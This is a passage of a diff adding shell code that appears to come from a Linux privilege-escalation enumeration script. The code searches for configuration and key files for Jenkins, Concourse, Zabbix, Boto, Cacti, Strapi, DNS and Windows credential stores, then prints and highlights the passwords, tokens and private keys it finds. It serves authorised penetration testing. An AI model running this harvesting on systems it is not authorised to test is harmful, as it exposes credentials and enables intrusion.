+ if ! [ "`echo \"$PSTORAGE_SAFARI\" | grep -E \"Safari$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Safari"; fi; fi; printf "%s" "$PSTORAGE_SAFARI" | grep -E "Safari$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Safari$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FAT_FREE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Fat-Free Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FAT_FREE\" | grep -E \"fat\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fat.config"; fi; fi; printf "%s" "$PSTORAGE_FAT_FREE" | grep -E "fat\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fat\.config$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "password.*" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SHODAN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Shodan Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SHODAN\" | grep -E \"api_key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "api_key"; fi; fi; printf "%s" "$PSTORAGE_SHODAN" | grep -E "api_key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,api_key$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CONCOURSE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Concourse Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"\.flyrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".flyrc"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "\.flyrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.flyrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,token:*|value:.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"concourse-auth$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "concourse-auth"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "concourse-auth$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,concourse-auth$,${SED_RED},"; find "$f" -name "host-key" | while read ff; do ls -ld "$ff" | sed -${E} "s,host-key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,RSA PRIVATE KEY,${SED_RED},g"; done; echo "";find "$f" -name "local-users" | while read ff; do ls -ld "$ff" | sed -${E} "s,local-users,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "session-signing-key" | while read ff; do ls -ld "$ff" | sed -${E} "s,session-signing-key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "worker-key-pub" | while read ff; do ls -ld "$ff" | sed -${E} "s,worker-key-pub,${SED_RED},"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"concourse-keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "concourse-keys"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "concourse-keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,concourse-keys$,${SED_RED},"; find "$f" -name "host_key" | while read ff; do ls -ld "$ff" | sed -${E} "s,host_key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,RSA PRIVATE KEY,${SED_RED},g"; done; echo "";find "$f" -name "session_signing_key" | while read ff; do ls -ld "$ff" | sed -${E} "s,session_signing_key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "worker_key.pub" | while read ff; do ls -ld "$ff" | sed -${E} "s,worker_key.pub,${SED_RED},"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_BOTO" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Boto Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_BOTO\" | grep -E \"\.boto$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".boto"; fi; fi; printf "%s" "$PSTORAGE_BOTO" | grep -E "\.boto$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.boto$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_INFLUXDB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing InfluxDB Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ZABBIX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Zabbix Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_server\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_server.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_server\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_server\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,DBName|DBUser|DBPassword,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_agentd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_agentd.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_agentd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_agentd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,TLSPSKFile|psk,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix$,${SED_RED},"; find "$f" -name "*.psk" | while read ff; do ls -ld "$ff" | sed -${E} "s,.psk,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PRE_SHARED_KEYS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Pre-Shared Keys Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PRE_SHARED_KEYS\" | grep -E \"\.psk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.psk"; fi; fi; printf "%s" "$PSTORAGE_PRE_SHARED_KEYS" | grep -E "\.psk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.psk$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PASS_STORE_DIRECTORIES" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Pass Store Directories Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PASS_STORE_DIRECTORIES\" | grep -E \"\.password-store$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".password-store"; fi; fi; printf "%s" "$PSTORAGE_PASS_STORE_DIRECTORIES" | grep -E "\.password-store$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.password-store$,${SED_RED},"; ls -lRA "$f";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SAMBA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Samba Files (limit 70)"
+ smbstatus 2>/dev/null
+ if ! [ "`echo \"$PSTORAGE_SAMBA\" | grep -E \"smb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "smb.conf"; fi; fi; printf "%s" "$PSTORAGE_SAMBA" | grep -E "smb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,smb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "browseable|read only|writable|guest ok|enable privileges|create mask|directory mask|logon script|magic script|magic output" | sed -${E} "s,browseable.*yes|read only.*no|writable.*yes|guest ok.*yes|enable privileges.*yes|create mask.*|directory mask.*|logon script.*|magic script.*|magic output.*,${SED_RED},g" | sed -${E} "s,browseable.*no|read only.*yes|writable.*no|guest ok.*no|enable privileges.*no,${SED_GOOD},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_DNS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing DNS Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_DNS\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_DNS" | grep -E "bind$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "named.conf*" | while read ff; do ls -ld "$ff" | sed -${E} "s,named.conf.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|//" | sed -${E} "s,allow-query|allow-recursion|allow-transfer|zone-statistics|file .*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SEEDDMS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SeedDMS Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "seeddms*"; fi; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,seeddms.*$,${SED_RED},"; find "$f" -name "settings.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_DDCLIENT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Ddclient Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ddclient.conf"; fi; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SENTRY" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Sentry Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry$,${SED_RED},"; find "$f" -name "config.yml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,*key*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry\.conf\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry.conf.py"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry\.conf\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry\.conf\.py$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_STRAPI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Strapi Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_STRAPI\" | grep -E \"environments$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "environments"; fi; fi; printf "%s" "$PSTORAGE_STRAPI" | grep -E "environments$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,environments$,${SED_RED},"; find "$f" -name "custom.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,custom.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "database.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,database.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "request.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,request.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "response.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,response.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "security.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,security.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "server.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,server.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CACTI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cacti Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CACTI\" | grep -E \"cacti$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cacti"; fi; fi; printf "%s" "$PSTORAGE_CACTI" | grep -E "cacti$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cacti$,${SED_RED},"; find "$f" -name "config.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "config.php.dist" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php.dist,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "installer.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,installer.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "check_all_pages" | while read ff; do ls -ld "$ff" | sed -${E} "s,check_all_pages,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ROUNDCUBE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Roundcube Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ROUNDCUBE\" | grep -E \"roundcube$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "roundcube"; fi; fi; printf "%s" "$PSTORAGE_ROUNDCUBE" | grep -E "roundcube$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,roundcube$,${SED_RED},"; find "$f" -name "config.inc.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.inc.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "config\[" | sed -${E} "s,db_dsnw,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PASSBOLT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Passbolt Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PASSBOLT\" | grep -E \"passbolt\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "passbolt.php"; fi; fi; printf "%s" "$PSTORAGE_PASSBOLT" | grep -E "passbolt\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,passbolt\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "host|port|username|password|database" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_JETTY" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Jetty Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_JETTY\" | grep -E \"jetty-realm\.properties$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "jetty-realm.properties"; fi; fi; printf "%s" "$PSTORAGE_JETTY" | grep -E "jetty-realm\.properties$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jetty-realm\.properties$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_JENKINS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Jenkins Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"master\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "master.key"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "master\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,master\.key$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"hudson\.util\.Secret$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hudson.util.Secret"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "hudson\.util\.Secret$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hudson\.util\.Secret$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"credentials\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.xml"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "credentials\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"config\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.xml"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "config\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "secret.*|password.*" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"jenkins$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*jenkins"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "jenkins$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jenkins$,${SED_RED},"; find "$f" -name "build.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,build.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "secret.*|password.*" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+
+
+if [ "$PSTORAGE_INTERESTING_LOGS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Interesting logs Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access\.log$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "error.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,error\.log$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Windows Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "\.rdg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"autounattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autounattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "autounattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autounattend\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"Ntds\.dit$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Ntds.dit"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"protecteduserkey\.bin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "protecteduserkey.bin"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "protecteduserkey\.bin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,protecteduserkey\.bin$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"RDCMan\.settings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "RDCMan.settings"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SAM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SAM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SAM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SAM$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SYSTEM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SYSTEM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SecEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SecEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"appcmd\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "appcmd.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"bash\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bash.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"datasources\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "datasources.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"default\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "default.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "default\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"drives\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "drives.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"groups\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "groups.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo "";
